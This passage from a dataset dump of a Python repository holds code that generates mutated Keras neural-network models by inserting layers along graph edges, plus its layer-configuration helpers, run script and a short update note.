data2[1] or data1[2] > data2[2]:\n return True\n return False\n\ndef _dim4data_equal(data1, data2):\n if data1[1] != data2[1] or data1[2] != data2[2] or data1[3] != data2[3]:\n return False\n return True\n\n# '''\n# type_4 layers have strict requirements on the consistency of input shapes\n# So we should first weed out the layers that we cannot insert 4-dimensional\n# shape-changed layers, such as Conv2d, to avoid the situation where\n# the resultant input shapes are inconsistent\n# '''\n# def _type4_influence():\n# # layers before which we cannot insert 4-dimensional shape-changed layers\n# forbid2_layers = set()\n# visited = set()\n# from queue import Queue\n# q = Queue()\n\n# for layer in CONV2D_TYPE_4_LAYERS:\n# q.put(layer)\n# while not q.empty():\n# layer = q.get()\n# forbid2_layers.add(layer)\n# for node in layer._inbound_nodes:\n# for l in node.inbound_layers:\n# if l in visited:\n# continue\n# visited.add(l)\n# if l.__class__.__name__ not in ['Conv2D', 'AveragePooling2D', \\\n# 'MaxPooling2D', 'SeparableConv2D', \\\n# 'ZeroPadding2D', 'Cropping2D']:\n# q.put(l)\n\ndef _certificate_for_adding_4_dimensional_shape_changed_layers():\n from queue import Queue\n q = Queue()\n for layer in OUTPUTLAYERS:\n q.put((layer, False))\n certificate = set()\n visited = set()\n while not q.empty():\n layer, cert = q.get()\n if layer.name in visited:\n continue\n visited.add(layer.name)\n if cert:\n certificate.add(layer.name)\n for node in layer._inbound_nodes:\n if isinstance(node.inbound_layers, list):\n for l in node.inbound_layers:\n if cert:\n if l.__class__.__name__ in ['Add', 'Concatenate', 'Average', 'Maximum', 'Minimum', 'Subtract', 'Multiply', 'Dot']:\n q.put((l, False))\n else:\n q.put((l, True))\n else:\n if l.__class__.__name__ in ['Conv2D', 'SeparableConv2D', 'DepthwiseConv2D']:\n q.put((l, True))\n else:\n q.put((l, False))\n else:\n l = node.inbound_layers\n if cert:\n if l.__class__.__name__ in ['Add', 'Concatenate', 'Average', 'Maximum', 'Minimum', 'Subtract', 'Multiply', 'Dot']:\n q.put((l, False))\n else:\n q.put((l, True))\n else:\n if l.__class__.__name__ in ['Conv2D', 'SeparableConv2D', 'DepthwiseConv2D']:\n q.put((l, True))\n else:\n q.put((l, False))\n return certificate\n\ndef inlayer_not_exists(edges4_repo, inlayer):\n if edges4_repo == []:\n return True\n for edge in edges4_repo:\n if edge[0].name == inlayer.name:\n return False\n\n return True\n\ndef available_edges_extraction_for4types():\n\n certificate = _certificate_for_adding_4_dimensional_shape_changed_layers()\n\n global EDGES, CONV2D_TYPE_1_AVAILABLE_EDGES, CONV2D_TYPE_2_AVAILABLE_EDGES,\\\n CONV2D_TYPE_3_AVAILABLE_EDGES, CONV2D_TYPE_4_AVAILABLE_EDGES\n CONV2D_TYPE_1_AVAILABLE_EDGES = []\n CONV2D_TYPE_2_AVAILABLE_EDGES = []\n CONV2D_TYPE_3_AVAILABLE_EDGES = []\n CONV2D_TYPE_4_AVAILABLE_EDGES = []\n\n if EDGES == []:\n raise Exception(Cyan('Oops! EDGES is empty...'))\n edges4_repo = []\n edges4_output_repo = []\n edges2_repo = []\n edges2_id = 0\n for edge in EDGES:\n inlayer, outlayer = edge\n if isinstance(inlayer, keras.layers.InputLayer):\n continue\n if outlayer.__class__.__name__ in ['Add', 'Concatenate', 'Average', 'Maximum', 'Minimum', 'Subtract', 'Multiply', 'Dot']:\n continue\n if isinstance(inlayer.output, list):\n raise Exception(Cyan(f'inlayer {inlayer.name} has more than 1 output'))\n if len(outlayer.output.shape) == 4 and outlayer.name in certificate:\n CONV2D_TYPE_1_AVAILABLE_EDGES.append(edge)\n \n if len(edges4_repo) == 0:\n edges4_repo.append(edge)\n edges4_output_repo.append(inlayer)\n else:\n output = edges4_output_repo[0].output\n if not _dim4data_equal(output.shape.as_list(), inlayer.output.shape.as_list()):\n if len(edges4_repo) > 1:\n CONV2D_TYPE_4_AVAILABLE_EDGES.append(tuple(edges4_repo))\n edges4_repo.clear()\n edges4_output_repo.clear()\n # else:\n # if output.shape.as_list()[1:3] != inlayer.output.shape.as_list()[1:3]:\n # raise Exception(Cyan(f'Incorrect relationship between {str(edges4_output_repo[0].name)}.output.shape and {str(inlayer.name)}.output.shape: output.shape.as_list() = {str(output.shape.as_list())} while inlayer.output.shape.as_list() = {str(inlayer.output.shape.as_list())}'))\n if inlayer_not_exists(edges4_repo, inlayer):\n edges4_repo.append(edge)\n edges4_output_repo.append(inlayer)\n\n elif len(inlayer.output.shape) == 2:\n if outlayer.__class__.__name__ not in ['Add', 'Concatenate', 'Average', 'Maximum', 'Minimum', 'Subtract', 'Multiply', 'Dot']:\n CONV2D_TYPE_2_AVAILABLE_EDGES.append(edge) \n edges2_repo.append((edge, inlayer.output.shape[1], edges2_id))\n edges2_id += 1\n \n CONV2D_TYPE_3_AVAILABLE_EDGES.append(edge)\n\n if len(edges4_repo) > 1:\n CONV2D_TYPE_4_AVAILABLE_EDGES.append(tuple(edges4_repo))\n edges2_repo.sort(key=lambda x:(x[1], x[2]))\n v_, tmp_edges = -1, []\n for edge_, value_, id_ in edges2_repo:\n if v_ != value_:\n if len(tmp_edges) > 1:\n CONV2D_TYPE_4_AVAILABLE_EDGES.append(tuple(tmp_edges))\n tmp_edges.clear()\n tmp_edges.append(edge_)\n v_ = value_\n else:\n tmp_edges.append(edge_)\n\n if len(tmp_edges) > 1:\n CONV2D_TYPE_4_AVAILABLE_EDGES.append(tuple(tmp_edges))\n\ndef config_extraction():\n global MODELNAMES, MODE, ORIGIN_PATH, MUTANT_PATH, ORDERS, OPSPOOL, TOTALNUMBER, EACHNUMBER\n parser = configparser.ConfigParser()\n parser.read('./config.conf')\n params = parser['params']\n MODELNAMES = params['models'].split('\\n')\n MODE = params['mode']\n ORIGIN_PATH = params['origin_path']\n MUTANT_PATH = params['mutant_path']\n ORDERS = params['orders'].split('\\n')\n OPSPOOL = params['opspool'].split('\\n')\n TOTALNUMBER = parser['random']['totalNumber']\n EACHNUMBER = parser['fixed']['eachNumber']\n\ndef extra_info_extraction():\n global CONV2D_TYPE_1_POOL, CONV2D_TYPE_2_POOL, CONV2D_TYPE_3_POOL, CONV2D_TYPE_4_POOL\n for op in OPSPOOL:\n if op in ['Conv2D', 'SeparableConv2D', 'AveragePooling2D', 'MaxPooling2D',\\\n 'SpatialDropout2D', 'SeparableConv2D', 'ZeroPadding2D', 'Cropping2D']:\n CONV2D_TYPE_1_POOL.append(op)\n elif op == 'Dense':\n CONV2D_TYPE_2_POOL.append(op)\n elif op in ['Dropout', 'BatchNormalization', 'LayerNormalization', 'GaussianDropout']:\n CONV2D_TYPE_3_POOL.append(op)\n elif op in ['Add', 'Concatenate', 'Average', 'Maximum', 'Minimum', 'Subtract', 'Multiply', 'Dot']:\n CONV2D_TYPE_4_POOL.append(op)\n else:\n raise Exception(Cyan(f'Unkown op: {op}'))\n\n\n" }, { "alpha_fraction": 0.4877306818962097, "alphanum_fraction": 0.4962482154369354, "avg_line_length": 41.87826156616211, "blob_id": "cb64223ef5136ef2d699d776376355c7e36962a8", "content_id": "144fe0d349a8c8354a85febf0ea26eda78a7927e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4931, "license_type": "no_license", "max_line_length": 103, "num_lines": 115, "path": "/run.py", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nimport tensorflow.keras as keras\nimport tensorflow.keras.backend as K\nimport pandas as pd\nfrom colors import *\nfrom mutators import addOneLayer\nimport os, subprocess\nfrom globalInfos import edge_collection,\\\n config_extraction,\\\n extra_info_extraction,\\\n available_edges_extraction_for4types\n\ndef _test_mutant(mutant_path):\n model = keras.models.load_model(mutant_path)\n # model.summary()\n print(Magenta('TEST SUCCEED!'))\n\ndef run_random_mod(model, modelname):\n for order in ORDERS:\n for cnt in range(1, upperbound):\n if int(order) == 1:\n newmodel = addOneLayer(model)\n dest = os.path.join(os.path.join(MUTANT_PATH, modelname), str(order))\n if not os.path.exists(dest):\n subprocess.check_output(f'mkdir -p {dest}', shell=True)\n h5dest = os.path.join(dest, f'{modelname}_{str(cnt)}.h5')\n newmodel.save(h5dest)\n else:\n order1_dest = os.path.join(os.path.join(MUTANT_PATH, modelname), str(int(order)-1))\n h5files = os.listdir(order1_dest)\n # htfile = np.random.choice(h5files)\n htfile = ''\n for file in h5files:\n if file.endswith(f'_{cnt}.h5'):\n htfile = file\n break\n if not htfile:\n raise Exception('Find no h5file')\n htfile_name = htfile[:-3]\n htfile_newname = htfile_name + '_' + str(cnt) + '.h5'\n\n newmodel = addOneLayer(model)\n dest = os.path.join(os.path.join(MUTANT_PATH, modelname), str(order))\n if not os.path.exists(dest):\n subprocess.check_output(f'mkdir -p {dest}', shell=True)\n h5dest = os.path.join(dest, htfile_newname)\n newmodel.save(h5dest)\n\ndef run_fixed_mod(model, modelname):\n for order in ORDERS:\n for op in OPSPOOL:\n print(Yellow(op))\n # model.summary()\n for cnt in range(1, upperbound):\n if int(order) == 1:\n newmodel = addOneLayer(model, mode = 'fixed', op = op)\n dest = os.path.join(os.path.join(MUTANT_PATH, modelname), str(order))\n if not os.path.exists(dest):\n subprocess.check_output(f'mkdir -p {dest}', shell=True)\n \n h5dest = os.path.join(dest, f'{modelname}_{op}_{str(cnt)}.h5')\n newmodel.save(h5dest)\n else:\n order1_dest = os.path.join(os.path.join(MUTANT_PATH, modelname), str(int(order)-1))\n if not os.path.exists(order1_dest):\n subprocess.check_output(f'mkdir -p {order1_dest}', shell=True)\n h5files = os.listdir(order1_dest)\n htfile = np.random.choice(h5files)\n # htfile = ''\n # for file in h5files:\n # if file.endswith(f'_{cnt}.h5'):\n # htfile = file\n # break\n # if not htfile:\n # raise Exception('Find no h5file')\n htfile_name = htfile[:-3]\n htfile_newname = htfile_name + '_' + op + '_' + str(cnt) + '.h5'\n\n newmodel = addOneLayer(model)\n dest = os.path.join(os.path.join(MUTANT_PATH, modelname), str(order))\n if not os.path.exists(dest):\n subprocess.check_output(f'mkdir -p {dest}', shell=True)\n h5dest = os.path.join(dest, htfile_newname)\n newmodel.save(h5dest)\n # REMOVED\n _test_mutant(h5dest)\n\nif __name__ == '__main__':\n\n config_extraction()\n extra_info_extraction()\n from globalInfos import MODELNAMES,\\\n MODE,\\\n ORIGIN_PATH,\\\n MUTANT_PATH,\\\n ORDERS,\\\n OPSPOOL,\\\n TOTALNUMBER,\\\n EACHNUMBER\n for modelname in MODELNAMES:\n print(Green(modelname))\n modelpath = os.path.join(ORIGIN_PATH, f'{modelname}_origin.h5')\n model = keras.models.load_model(modelpath)\n # model.summary()\n edge_collection(model)\n available_edges_extraction_for4types()\n if MODE == 'random':\n upperbound = int(TOTALNUMBER) + 1\n run_random_mod(model, modelname)\n elif MODE == 'fixed':\n upperbound = int(EACHNUMBER) + 1\n run_fixed_mod(model, modelname)\n else:\n raise Exception(Cyan(f'Unkown mode: {MODE}'))\n" }, { "alpha_fraction": 0.7539936304092407, "alphanum_fraction": 0.7667731642723083, "avg_line_length": 103, "blob_id": "e073129318d8ccca261a19424f0f34e58d856911", "content_id": "0be1fb382240ce8a823af56f4f9b3a3b1203805d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 313, "license_type": "no_license", "max_line_length": 161, "num_lines": 3, "path": "/update.md", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "1. update `newLayer_impl.py`: change the way of building a new layer and make it more readable and concise.\r\n2. statement with `UPDATE` should be inspected and updated if if necessary; statement with `REMOVED` should be removed when we deploy the project and execute it.\r\n3. support `SeparableConv2D` for **LA**." }, { "alpha_fraction": 0.5937574505805969, "alphanum_fraction": 0.609005331993103, "avg_line_length": 45.70089340209961, "blob_id": "7d5608e0743cd10d59bda4677a524f7291e28908", "content_id": "5f7d7b793196f2555d34e4b16fe9e944e330a855", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 20921, "license_type": "no_license", "max_line_length": 141, "num_lines": 448, "path": "/newLayer_impl.py", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nimport tensorflow.keras as keras\nimport tensorflow.keras.backend as K\nfrom colors import *\n\ndef _setName(layerclass):\n className = layerclass.__name__\n id = -1\n from globalInfos import LAYER_CLASS_NAMES\n if className not in LAYER_CLASS_NAMES:\n LAYER_CLASS_NAMES[className] = 1\n id = 1\n else:\n id = LAYER_CLASS_NAMES[className] \n id += 1\n LAYER_CLASS_NAMES[className] = id\n return 'hyPLUSqc' + '-' + className + '_' + str(id)\n\ndef _getConfig(layerclass):\n className = layerclass.__name__\n if className == 'Conv2D':\n return {'name': 'conv2d', 'trainable': True, 'dtype': 'float32', 'filters': 1, \\\n 'kernel_size': (1, 1), 'strides': (1, 1), 'padding': 'valid', 'data_format': 'channels_last', \\\n 'dilation_rate': (1, 1), 'groups': 1, 'activation': 'relu', 'use_bias': True, \\\n 'kernel_initializer': {'class_name': 'GlorotUniform', 'config': {'seed': None}}, \\\n 'bias_initializer': {'class_name': 'Zeros', 'config': {}}, 'kernel_regularizer': None, \\\n 'bias_regularizer': None, 'activity_regularizer': None, 'kernel_constraint': None, 'bias_constraint': None}\n if className == 'SeparableConv2D':\n return {'name': 'separable_conv2d', 'trainable': True, 'dtype': 'float32', 'filters': 1,\n 'kernel_size': (1, 1), 'strides': (1, 1), 'padding': 'valid', 'data_format': 'channels_last',\n 'dilation_rate': (1, 1), 'groups': 1, 'activation': 'relu', 'use_bias': True,\n 'kernel_initializer': {'class_name': 'GlorotUniform', 'config': {'seed': None}},\n 'bias_initializer': {'class_name': 'Zeros', 'config': {}}, 'kernel_regularizer': None,\n 'bias_regularizer': None, 'activity_regularizer': None, 'kernel_constraint': None,\n 'bias_constraint': None, 'depth_multiplier': 1,\n 'depthwise_initializer': {'class_name': 'GlorotUniform', 'config': {'seed': None}},\n 'pointwise_initializer': {'class_name': 'GlorotUniform', 'config': {'seed': None}},\n 'depthwise_regularizer': None, 'pointwise_regularizer': None, 'depthwise_constraint': None,\n 'pointwise_constraint': None}\n\n elif className == 'Dense':\n return {'name': 'dense', 'trainable': True, 'dtype': 'float32', 'units': 10, 'activation': 'linear', \\\n 'use_bias': True, 'kernel_initializer': {'class_name': 'GlorotUniform', 'config': {'seed': None}}, \\\n 'bias_initializer': {'class_name': 'Zeros', 'config': {}}, 'kernel_regularizer': None, \\\n 'bias_regularizer': None, 'activity_regularizer': None, 'kernel_constraint': None, 'bias_constraint': None}\n elif className == 'SpatialDropout2D':\n return {'name': 'spatial_dropout2d', 'trainable': True, 'dtype': 'float32', 'rate': 0.3, 'noise_shape': None, 'seed': None}\n elif className == 'Dropout':\n return {'name': 'dropout', 'trainable': True, 'dtype': 'float32', 'rate': 0.3, 'noise_shape': None, 'seed': None}\n elif className == 'BatchNormalization':\n return {'name': 'batch_normalization', 'trainable': True, 'dtype': 'float32', 'axis': -1, \\\n 'momentum': 0.99, 'epsilon': 0.001, 'center': True, 'scale': True, \\\n 'beta_initializer': {'class_name': 'Zeros', 'config': {}}, \\\n 'gamma_initializer': {'class_name': 'Ones', 'config': {}}, \\\n 'moving_mean_initializer': {'class_name': 'Zeros', 'config': {}}, \\\n 'moving_variance_initializer': {'class_name': 'Ones', 'config': {}}, \\\n 'beta_regularizer': None, 'gamma_regularizer': None, 'beta_constraint': None, 'gamma_constraint': None}\n elif className == 'AveragePooling2D':\n return {'name': 'average_pooling2d', 'trainable': True, 'dtype': 'float32', 'pool_size': (1, 1), \\\n 'padding': 'valid', 'strides': (1, 1), 'data_format': 'channels_last'}\n elif className == 'MaxPooling2D':\n return {'name': 'max_pooling2d', 'trainable': True, 'dtype': 'float32', 'pool_size': (1, 1), \\\n 'padding': 'valid', 'strides': (1, 1), 'data_format': 'channels_last'}\n elif className == 'LayerNormalization':\n return {'name': 'layer_normalization', 'trainable': True, 'dtype': 'float32', 'axis': -1, 'epsilon': 0.001, \\\n 'center': True, 'scale': True, 'beta_initializer': {'class_name': 'Zeros', 'config': {}}, \\\n 'gamma_initializer': {'class_name': 'Ones', 'config': {}}, 'beta_regularizer': None, 'gamma_regularizer': None, \\\n 'beta_constraint': None, 'gamma_constraint': None}\n elif className == 'Flatten':\n return {'name': 'flatten', 'trainable': True, 'dtype': 'float32', 'data_format': 'channels_last'}\n elif className == 'GaussianDropout':\n return {'name': 'gaussian_dropout', 'trainable': True, 'dtype': 'float32', 'rate': 0.9}\n elif className == 'Add':\n return {'name': 'add', 'trainable': True, 'dtype': 'float32'}\n elif className == 'Reshape':\n return {'name': 'reshape', 'trainable': True, 'dtype': 'float32', 'target_shape': (27,)}\n elif className == 'ZeroPadding2D':\n return {'name': 'zero_padding2d', 'trainable': True, 'dtype': 'float32', 'padding': ((1, 2), (2, 1)), 'data_format': 'channels_last'}\n elif className == 'Cropping2D':\n return {'name': 'cropping2d', 'trainable': True, 'dtype': 'float32', 'cropping': ((1, 2), (2, 1)), 'data_format': 'channels_last'}\n elif className == 'Maximum':\n return {'name': 'maximum', 'trainable': True, 'dtype': 'float32'}\n elif className == 'Minimum':\n return {'name': 'minimum', 'trainable': True, 'dtype': 'float32'}\n elif className == 'Average':\n return {'name': 'average', 'trainable': True, 'dtype': 'float32'}\n else:\n raise Exception(Cyan(f'Unknown className: {className}'))\n\ndef _setExtraConfigInfo(layerclass, config):\n className = layerclass.__name__\n if className == 'Conv2D' or className == 'SeparableConv2D' \\\n or className == 'AveragePooling2D' or className == 'MaxPooling2D':\n from globalInfos import DATA_FORMAT\n config['data_format'] = DATA_FORMAT\n from globalInfos import DTYPE\n config['dtype'] = DTYPE\n\ndef myDenseLayer(layer, inputshape, copy=True):\n if not copy:\n config = _getConfig(keras.layers.Dense)\n config['units'] = np.random.randint(1, 101)\n config['activation'] = np.random.choice(['relu', 'sigmoid', 'tanh', 'selu', 'elu'])\n config['name'] = _setName(keras.layers.Dense)\n _setExtraConfigInfo(keras.layers.Dense, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.Dense.from_config(config)\n inputdim = inputshape[-1] if inputshape else layer.input.shape[-1]\n newlayer.build(inputdim)\n # print('>>>', inputdim, layer.output.shape[-1])\n # newlayer.add_weight(shape=(inputdim, layer.output.shape[-1]), initializer=\"random_normal\", trainable=True)\n # if config['use_bias']:\n # newlayer.add_weight(shape=(layer.output.shape[-1], ), initializer=\"random_normal\", trainable=True)\n\n if copy and ((inputshape and inputshape[-1] == layer.input.shape[-1]) or not inputshape):\n newlayer.set_weights(layer.get_weights())\n\n return newlayer\n\ndef myDepthwiseConv2DLayer(layer, inputshape):\n param_inputshape = layer.input.shape\n setweights = True\n config = layer.get_config()\n if not inputshape or inputshape[1:] == layer.input.shape[1:]:\n pass\n else:\n setweights = False\n if inputshape[1:-1] == layer.input.shape[1:-1]:\n param_inputshape = inputshape\n else:\n config['kernel_size'] = (inputshape[1]-layer.output.shape[1]+1,\\\n inputshape[2]-layer.output.shape[2]+1)\n param_inputshape = inputshape\n config['dilation_rate'] = (1,1)\n config['strides'] = (1,1)\n config['padding'] = 'valid'\n newlayer = keras.layers.DepthwiseConv2D.from_config(config)\n newlayer.build(param_inputshape)\n if setweights:\n newlayer.set_weights(layer.get_weights())\n return newlayer\n\ndef myConv2DLayer(layer, inputshape, **indefinite_kwargs):\n param_inputshape = layer.input.shape\n setweights = True\n\n if indefinite_kwargs:\n config = _getConfig(keras.layers.Conv2D)\n config['kernel_size'], config['padding'], config['strides'], config['dilation_rate'] = \\\n indefinite_kwargs['kerpool_size'], \\\n indefinite_kwargs['padding'], \\\n indefinite_kwargs['strides'], \\\n indefinite_kwargs['dilation_rate']\n config['filters'] = np.random.randint(1, 11) \n config['activation'] = np.random.choice(['relu', 'sigmoid', 'tanh', 'selu', 'elu'])\n setweights = False\n config['name'] = _setName(keras.layers.Conv2D)\n _setExtraConfigInfo(keras.layers.Conv2D, config)\n else:\n config = layer.get_config()\n\n if not inputshape or inputshape[1:] == layer.input.shape[1:]:\n pass\n else:\n setweights = False\n if inputshape[1:-1] == layer.input.shape[1:-1]:\n param_inputshape = inputshape\n else:\n config['kernel_size'] = (inputshape[1]-layer.output.shape[1]+1,\\\n inputshape[2]-layer.output.shape[2]+1)\n param_inputshape = inputshape\n config['dilation_rate'] = (1,1)\n config['strides'] = (1,1)\n config['padding'] = 'valid'\n\n newlayer = keras.layers.Conv2D.from_config(config)\n newlayer.build(param_inputshape)\n # print(Red(str([kernel_size[0], kernel_size[1], param_inputshape[-1], filters])))\n # newlayer.add_weight(shape=(kernel_size[0], kernel_size[1], param_inputshape[-1], filters), \\\n # initializer=\"random_normal\", trainable=True)\n # if use_bias:\n # newlayer.add_weight(shape=(filters, ), initializer=\"random_normal\", trainable=True)\n if setweights:\n newlayer.set_weights(layer.get_weights())\n return newlayer\n\ndef mySeparableConv2DLayer(layer, inputshape, **indefinite_kwargs):\n param_inputshape = layer.input.shape\n setweights = True\n\n if indefinite_kwargs:\n config = _getConfig(keras.layers.SeparableConv2D)\n config['kernel_size'], config['padding'], config['strides'], config['dilation_rate'] = \\\n indefinite_kwargs['kerpool_size'], \\\n indefinite_kwargs['padding'], \\\n indefinite_kwargs['strides'], \\\n indefinite_kwargs['dilation_rate']\n config['filters'] = np.random.randint(1, 11)\n config['activation'] = np.random.choice(['relu', 'sigmoid', 'tanh', 'selu', 'elu'])\n setweights = False\n config['name'] = _setName(keras.layers.SeparableConv2D)\n _setExtraConfigInfo(keras.layers.SeparableConv2D, config)\n else:\n config = layer.get_config()\n\n if not inputshape or inputshape[1:] == layer.input.shape[1:]:\n pass\n else:\n setweights = False\n if inputshape[1:-1] == layer.input.shape[1:-1]:\n param_inputshape = inputshape\n else:\n config['kernel_size'] = (inputshape[1]-layer.output.shape[1]+1, \\\n inputshape[2]-layer.output.shape[2]+1)\n param_inputshape = inputshape\n config['dilation_rate'] = (1,1)\n config['strides'] = (1,1)\n config['padding'] = 'valid'\n\n newlayer = keras.layers.SeparableConv2D.from_config(config)\n newlayer.build(param_inputshape)\n\n # print(Red(str([kernel_size[0], kernel_size[1], param_inputshape[-1], filters])))\n # newlayer.add_weight(shape=(kernel_size[0], kernel_size[1], param_inputshape[-1], filters), \\\n # initializer=\"random_normal\", trainable=True)\n # if use_bias:\n # newlayer.add_weight(shape=(filters, ), initializer=\"random_normal\", trainable=True)\n if setweights:\n newlayer.set_weights(layer.get_weights())\n return newlayer\n\ndef myAveragePooling2DLayer(layer, inputshape, **indefinite_kwargs):\n\n if indefinite_kwargs:\n config = _getConfig(keras.layers.AveragePooling2D)\n config['pool_size'], config['padding'], config['strides'] = \\\n indefinite_kwargs['kerpool_size'], \\\n indefinite_kwargs['padding'], \\\n indefinite_kwargs['strides']\n config['name'] = _setName(keras.layers.AveragePooling2D)\n _setExtraConfigInfo(keras.layers.AveragePooling2D, config)\n\n else:\n config = layer.get_config()\n\n if not inputshape or inputshape[1:] == layer.input.shape[1:]:\n pass\n else:\n if inputshape[1:-1] == layer.input.shape[1:-1]:\n pass\n else:\n config['pool_size'] = (inputshape[1]-layer.output.shape[1]+1, \\\n inputshape[2]-layer.output.shape[2]+1)\n config['strides'] = (1,1)\n config['padding'] = 'valid'\n newlayer = keras.layers.AveragePooling2D.from_config(config)\n return newlayer\n\ndef myMaxPooling2DLayer(layer, inputshape, **indefinite_kwargs):\n if indefinite_kwargs:\n config = _getConfig(keras.layers.MaxPooling2D)\n config['pool_size'], config['padding'], config['strides'] = \\\n indefinite_kwargs['kerpool_size'], \\\n indefinite_kwargs['padding'], \\\n indefinite_kwargs['strides']\n config['name'] = _setName(keras.layers.MaxPooling2D)\n _setExtraConfigInfo(keras.layers.MaxPooling2D, config)\n else:\n config = layer.get_config()\n\n if not inputshape or inputshape[1:] == layer.input.shape[1:]:\n pass\n else:\n if inputshape[1:-1] == layer.input.shape[1:-1]:\n pass\n else:\n config['pool_size'] = (inputshape[1]-layer.output.shape[1]+1, \\\n inputshape[2]-layer.output.shape[2]+1)\n config['strides'] = (1,1)\n config['padding'] = 'valid'\n newlayer = keras.layers.MaxPooling2D.from_config(config)\n return newlayer\n\ndef myFlattenLayer(layer):\n return layer.__class__.from_config(layer.get_config())\n\ndef myDropoutLayer(layer, copy=True):\n if copy:\n config = layer.get_config()\n config['name'] = _setName(keras.layers.Dropout)\n _setExtraConfigInfo(keras.layers.Dropout, config)\n else:\n config = _getConfig(keras.layers.Dropout)\n config['rate'] = np.random.choice([0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9])\n newlayer = keras.layers.Dropout.from_config(config)\n return newlayer\n\ndef mySpatialDropout2DLayer(layer, copy=True):\n if copy:\n config = layer.get_config()\n config['name'] = _setName(keras.layers.SpatialDropout2D)\n _setExtraConfigInfo(keras.layers.SpatialDropout2D, config)\n else:\n config = _getConfig(keras.layers.SpatialDropout2D)\n config['rate'] = np.random.choice([0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9])\n newlayer = keras.layers.SpatialDropout2D.from_config(config)\n return newlayer\n\ndef myGaussianDropoutLayer(layer, copy=True):\n if copy:\n config = layer.get_config()\n config['name'] = _setName(keras.layers.GaussianDropout)\n _setExtraConfigInfo(keras.layers.GaussianDropout, config)\n else:\n config = _getConfig(keras.layers.GaussianDropout)\n config['rate'] = np.random.choice([0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9])\n newlayer = keras.layers.GaussianDropout.from_config(config)\n return newlayer\n\ndef myBatchNormalizationLayer(layer, inputshape, copy=True, inlayer=None):\n if not copy:\n config = _getConfig(keras.layers.BatchNormalization)\n config['momentum'] = np.random.rand()\n config['name'] = _setName(keras.layers.BatchNormalization)\n _setExtraConfigInfo(keras.layers.BatchNormalization, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.BatchNormalization.from_config(config)\n if inlayer:\n inputdim = inputshape if inputshape else inlayer.output.shape\n else:\n inputdim = inputshape if inputshape else layer.input.shape\n newlayer.build(inputdim)\n if inlayer:\n if copy and ((inputshape and inputshape[-1] == inlayer.output.shape[-1]) or not inputshape):\n newlayer.set_weights(layer.get_weights())\n else:\n if copy and ((inputshape and inputshape[-1] == layer.output.shape[-1]) or not inputshape):\n newlayer.set_weights(layer.get_weights())\n return newlayer\n \ndef myLayerNormalizationLayer(layer, inputshape, copy=True, inlayer=None):\n if not copy:\n config = _getConfig(keras.layers.LayerNormalization)\n config['name'] = _setName(keras.layers.LayerNormalization)\n _setExtraConfigInfo(keras.layers.LayerNormalization, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.LayerNormalization.from_config(config)\n if inlayer:\n inputdim = inputshape if inputshape else inlayer.output.shape\n else:\n inputdim = inputshape if inputshape else layer.input.shape\n newlayer.build(inputdim)\n if inlayer:\n if copy and ((inputshape and inputshape[-1] == inlayer.output.shape[-1]) or not inputshape):\n newlayer.set_weights(layer.get_weights())\n else:\n if copy and ((inputshape and inputshape[-1] == layer.output.shape[-1]) or not inputshape):\n newlayer.set_weights(layer.get_weights())\n return newlayer\n\ndef myAddLayer(layer, copy=True):\n if not copy:\n config = _getConfig(keras.layers.Add)\n config['name'] = _setName(keras.layers.Add)\n _setExtraConfigInfo(keras.layers.Add, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.Add.from_config(config)\n return newlayer\n\ndef myMinimumLayer(layer, copy=True):\n if not copy:\n config = _getConfig(keras.layers.Minimum)\n config['name'] = _setName(keras.layers.Minimum)\n _setExtraConfigInfo(keras.layers.Minimum, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.Minimum.from_config(config)\n return newlayer\n\ndef myMaximumLayer(layer, copy=True):\n if not copy:\n config = _getConfig(keras.layers.Maximum)\n config['name'] = _setName(keras.layers.Maximum)\n _setExtraConfigInfo(keras.layers.Maximum, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.Maximum.from_config(config)\n return newlayer\n\ndef myAverageLayer(layer, copy=True):\n if not copy:\n config = _getConfig(keras.layers.Average)\n config['name'] = _setName(keras.layers.Average)\n _setExtraConfigInfo(keras.layers.Average, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.Average.from_config(config)\n return newlayer\n\ndef myReshapeLayer(layer, target_shape=None, copy=True):\n if not copy:\n config = _getConfig(keras.layers.Reshape)\n config['target_shape'] = target_shape\n config['name'] = _setName(keras.layers.Reshape)\n _setExtraConfigInfo(keras.layers.Reshape, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.Reshape.from_config(config)\n return newlayer\n\ndef myZeroPadding2DLayer(layer, **indefinite_kwargs):\n if indefinite_kwargs:\n config = _getConfig(keras.layers.ZeroPadding2D)\n config['padding'] = indefinite_kwargs['padding']\n config['name'] = _setName(keras.layers.ZeroPadding2D)\n _setExtraConfigInfo(keras.layers.ZeroPadding2D, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.ZeroPadding2D.from_config(config)\n return newlayer\n\ndef myCropping2DLayer(layer, **indefinite_kwargs):\n if indefinite_kwargs:\n config = _getConfig(keras.layers.Cropping2D)\n config['cropping'] = indefinite_kwargs['cropping']\n config['name'] = _setName(keras.layers.Cropping2D)\n _setExtraConfigInfo(keras.layers.Cropping2D, config)\n else:\n config = layer.get_config()\n newlayer = keras.layers.Cropping2D.from_config(config)\n return newlayer\n\ndef myConcatenateLayer(layer):\n return layer.__class__.from_config(layer.get_config())\n\ndef myActivationLayer(layer):\n return layer.__class__.from_config(layer.get_config())\n\ndef myReluLayer(layer):\n return layer.__class__.from_config(layer.get_config())\n\ndef myGlobalAveragePooling2DLayer(layer):\n return layer.__class__.from_config(layer.get_config())" }, { "alpha_fraction": 0.6542239785194397, "alphanum_fraction": 0.6817288994789124, "avg_line_length": 30.875, "blob_id": 